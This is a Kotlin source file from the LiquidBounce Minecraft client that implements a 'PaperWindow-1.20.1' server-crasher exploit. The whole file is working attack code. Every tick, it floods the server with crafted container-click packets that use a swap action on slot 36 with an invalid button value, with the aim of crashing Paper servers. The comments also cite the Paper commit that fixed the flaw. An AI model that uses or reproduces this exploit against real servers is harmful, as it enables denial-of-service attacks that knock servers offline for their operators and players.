/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2026 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */

package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import it.unimi.dsi.fastutil.ints.Int2ObjectMaps
import net.ccbluex.liquidbounce.config.types.group.Mode
import net.ccbluex.liquidbounce.config.types.group.ModeValueGroup
import net.ccbluex.liquidbounce.event.tickHandler
import net.ccbluex.liquidbounce.event.waitTicks
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.ModuleServerCrasher
import net.minecraft.client.multiplayer.MultiPlayerGameMode
import net.minecraft.network.HashedStack
import net.minecraft.network.protocol.game.ServerboundContainerClickPacket
import net.minecraft.world.inventory.ContainerInput
import net.minecraft.world.item.ItemStack
import net.minecraft.world.item.Items

/**
 * PaperWindow exploit
 *
 * Requested from https://github.com/CCBlueX/LiquidBounce/issues/2113
 * Original PR by https://github.com/AntiCope/meteor-crash-addon/pull/24
 * Copy PR https://github.com/CCBlueX/LiquidBounce/pull/2189
 *
 * Issue fixed by https://github.com/PaperMC/Paper/commit/8493340be4fa69fa9369719272e5dff1b7a2f455
 */
object PaperWindow1201Exploit : Mode("PaperWindow-1.20.1") {

    override val parent: ModeValueGroup<Mode>
        get() = ModuleServerCrasher.exploitChoices

    /**
     * The amount of packets to send
     *
     * @see MultiPlayerGameMode.handleInventoryMouseClick
     */
    private val packets by int("Packets", 6, 2..12)

    val repeatable = tickHandler {
        fun ItemStack.toHash(): HashedStack =
            HashedStack.create(this, player.connection.decoratedHashOpsGenenerator())

        val handler = player.containerMenu
        val packet = ServerboundContainerClickPacket(
            handler.containerId,
            handler.stateId,
            36,
            -1,
            ContainerInput.SWAP,
            Int2ObjectMaps.singleton(
                0,
                Items.GOLDEN_CARROT.defaultInstance.toHash(),
            ),
            handler.carried.toHash(),
        )

        repeat(packets) {
            network.send(packet)
        }
        waitTicks(1)
    }

}
